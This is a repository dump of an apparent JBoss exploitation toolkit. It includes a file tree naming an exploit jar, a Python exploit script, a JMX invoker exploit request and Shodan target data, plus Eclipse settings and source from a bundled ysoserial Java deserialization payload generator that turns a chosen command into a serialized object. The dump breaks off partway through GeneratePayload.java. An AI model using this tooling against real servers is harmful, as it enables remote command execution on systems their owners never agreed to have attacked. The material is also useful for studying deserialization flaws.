├── JBOSS_EXP.jar
├── Java_payload
├── .classpath
├── .project
├── .settings
│ └── org.eclipse.jdt.core.prefs
├── bin
│ └── ysoserial
│ │ ├── Deserialize.class
│ │ ├── ExecBlockingSecurityManager$1.class
│ │ ├── ExecBlockingSecurityManager$ExecException.class
│ │ ├── ExecBlockingSecurityManager.class
│ │ ├── GeneratePayload$ToStringComparator.class
│ │ ├── GeneratePayload.class
│ │ ├── RMIRegistryExploit$1.class
│ │ ├── RMIRegistryExploit.class
│ │ └── payloads
│ │ ├── CommonsCollections1.class
│ │ ├── CommonsCollections2.class
│ │ ├── Groovy1.class
│ │ ├── Main.class
│ │ ├── ObjectPayload.class
│ │ ├── Spring1.class
│ │ ├── annotation
│ │ └── Dependencies.class
│ │ └── util
│ │ ├── ClassFiles.class
│ │ ├── Gadgets$Foo.class
│ │ ├── Gadgets$StubTransletPayload.class
│ │ ├── Gadgets.class
│ │ ├── PayloadRunner$1.class
│ │ ├── PayloadRunner.class
│ │ ├── Reflections.class
│ │ └── Serializables.class
└── src
│ └── ysoserial
│ ├── Deserialize.java
│ ├── ExecBlockingSecurityManager.java
│ ├── GeneratePayload.java
│ ├── RMIRegistryExploit.java
│ └── payloads
│ ├── CommonsCollections1.java
│ ├── CommonsCollections2.java
│ ├── Groovy1.java
│ ├── Main.java
│ ├── ObjectPayload.java
│ ├── Spring1.java
│ ├── annotation
│ └── Dependencies.java
│ └── util
│ ├── ClassFiles.java
│ ├── Gadgets.java
│ ├── PayloadRunner.java
│ ├── Reflections.java
│ └── Serializables.java
├── README.md
├── iswin.jar
├── jboss-jmxinvoker-exploit.request
├── jbossexp.py
├── kiss10500.bin
├── kiss10501.bin
├── shodan_data.xml
└── shodan_data.xml_sorted
/JBOSS_EXP.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/JBOSS_EXP.jar
--------------------------------------------------------------------------------
/Java_payload/.classpath:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Java_payload/.project:
--------------------------------------------------------------------------------
1 |
2 |
3 | aaaaa
4 |
5 |
6 |
7 |
8 |
9 | org.eclipse.jdt.core.javabuilder
10 |
11 |
12 |
13 |
14 |
15 | org.eclipse.jdt.core.javanature
16 |
17 |
18 |
--------------------------------------------------------------------------------
/Java_payload/.settings/org.eclipse.jdt.core.prefs:
--------------------------------------------------------------------------------
1 | eclipse.preferences.version=1
2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
5 | org.eclipse.jdt.core.compiler.compliance=1.8
6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate
7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate
8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate
9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
11 | org.eclipse.jdt.core.compiler.source=1.8
12 |
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/Deserialize.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/Deserialize.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/ExecBlockingSecurityManager$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/ExecBlockingSecurityManager$1.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/ExecBlockingSecurityManager$ExecException.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/ExecBlockingSecurityManager$ExecException.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/ExecBlockingSecurityManager.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/ExecBlockingSecurityManager.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/GeneratePayload$ToStringComparator.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/GeneratePayload$ToStringComparator.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/GeneratePayload.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/GeneratePayload.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/RMIRegistryExploit$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/RMIRegistryExploit$1.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/RMIRegistryExploit.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/RMIRegistryExploit.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/CommonsCollections1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/CommonsCollections1.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/CommonsCollections2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/CommonsCollections2.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/Groovy1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/Groovy1.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/Main.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/Main.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/ObjectPayload.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/ObjectPayload.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/Spring1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/Spring1.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/annotation/Dependencies.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/annotation/Dependencies.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/ClassFiles.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/ClassFiles.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/Gadgets$Foo.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/Gadgets$Foo.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/Gadgets$StubTransletPayload.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/Gadgets$StubTransletPayload.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/Gadgets.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/Gadgets.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/PayloadRunner$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/PayloadRunner$1.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/PayloadRunner.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/PayloadRunner.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/Reflections.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/Reflections.class
--------------------------------------------------------------------------------
/Java_payload/bin/ysoserial/payloads/util/Serializables.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Xyntax/JBoss-exp/522754744ad411dc2ccd5025eeb0329dfcfd294c/Java_payload/bin/ysoserial/payloads/util/Serializables.class
--------------------------------------------------------------------------------
/Java_payload/src/ysoserial/Deserialize.java:
--------------------------------------------------------------------------------
1 | package ysoserial;
2 |
3 | import java.io.File;
4 | import java.io.FileInputStream;
5 | import java.io.IOException;
6 | import java.io.InputStream;
7 |
8 | import ysoserial.payloads.util.Serializables;
9 |
10 | /*
11 | * for testing payloads across process boundaries
12 | */
13 | public class Deserialize {
14 | public static void main(final String[] args) throws ClassNotFoundException, IOException {
15 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
16 | Serializables.deserialize(in);
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/Java_payload/src/ysoserial/ExecBlockingSecurityManager.java:
--------------------------------------------------------------------------------
1 | package ysoserial;
2 |
3 | import java.security.Permission;
4 | import java.util.concurrent.Callable;
5 |
6 | public class ExecBlockingSecurityManager extends SecurityManager {
7 | @Override
8 | public void checkPermission(final Permission perm) { }
9 |
10 | @Override
11 | public void checkPermission(final Permission perm, final Object context) { }
12 |
13 | public void checkExec(final String cmd) {
14 | super.checkExec(cmd);
15 | // throw a special exception to ensure we can detect exec() in the test
16 | throw new ExecException(cmd);
17 | };
18 |
19 | @SuppressWarnings("serial")
20 | public static class ExecException extends RuntimeException {
21 | private final String cmd;
22 | public ExecException(String cmd) { this.cmd = cmd; }
23 | public String getCmd() { return cmd; }
24 | }
25 |
26 | public static void wrap(final Runnable runnable) throws Exception {
27 | wrap(new Callable(){
28 | public Void call() throws Exception {
29 | runnable.run();
30 | return null;
31 | }
32 | });
33 | }
34 |
35 | public static T wrap(final Callable callable) throws Exception {
36 | SecurityManager sm = System.getSecurityManager();
37 | System.setSecurityManager(new ExecBlockingSecurityManager());
38 | try {
39 | return callable.call();
40 | } finally {
41 | System.setSecurityManager(sm);
42 | }
43 | }
44 | }
--------------------------------------------------------------------------------
/Java_payload/src/ysoserial/GeneratePayload.java:
--------------------------------------------------------------------------------
1 | package ysoserial;
2 |
3 | import java.io.ObjectOutputStream;
4 | import java.util.ArrayList;
5 | import java.util.Collection;
6 | import java.util.Collections;
7 | import java.util.Comparator;
8 | import java.util.List;
9 | import java.util.Set;
10 |
11 | import org.reflections.Reflections;
12 |
13 | import ysoserial.payloads.ObjectPayload;
14 |
15 | @SuppressWarnings("rawtypes")
16 | public class GeneratePayload {
17 |
18 | private static final int INTERNAL_ERROR_CODE = 70;
19 | private static final int USAGE_CODE = 64;
20 |
21 | public static void main(final String[] args) {
22 | if (args.length != 2) {
23 | printUsage();
24 | System.exit(USAGE_CODE);
25 | }
26 | final String payloadType = args[0];
27 | final String command = args[1];
28 |
29 | final Class extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
30 | if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
31 | System.err.println("Invalid payload type '" + payloadType + "'");
32 | printUsage();
33 | System.exit(USAGE_CODE);
34 | }
35 |
36 | try {
37 | final ObjectPayload payload = payloadClass.newInstance();
38 | final Object object = payload.getObject(command);
39 | final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
40 | objOut.writeObject(object);
41 | } catch (Throwable e) {
42 | System.err.println("Error while generating or serializing payload");
43 | e.printStackTrace();
44 | System.exit(INTERNAL_ERROR_CODE);
45 | }
46 | System.exit(0);
47 | }
48 |
49 | @SuppressWarnings("unchecked")
50 | private static Class extends ObjectPayload> getPayloadClass(final String className) {
51 | try {
52 | return (Class extends ObjectPayload>) Class.forName(className);
53 | } catch (Exception e1) {
54 | }
55 | try {
56 | return (Class extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
57 | + ".payloads." + className);
58 | } catch (Exception e2) {
59 | }
60 | return null;
61 | }
62 |
63 | private static void printUsage() {
64 | System.err.println("Y SO SERIAL?");
65 | System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
66 | System.err.println("\tAvailable payload types:");
67 | final List> payloadClasses =
68 | new ArrayList>(getPayloadClasses());
69 | Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
70 | for (Class extends ObjectPayload> payloadClass : payloadClasses) {
71 | System.err.println("\t\t" + payloadClass.getSimpleName());
72 | }
73 | }
74 |
75 | // get payload classes by classpath scanning
76 | private static Collection> getPayloadClasses() {
77 | final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
78 | final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
79 | return payloadTypes;
80 | }
81 |
82 | public static class ToStringComparator implements Comparator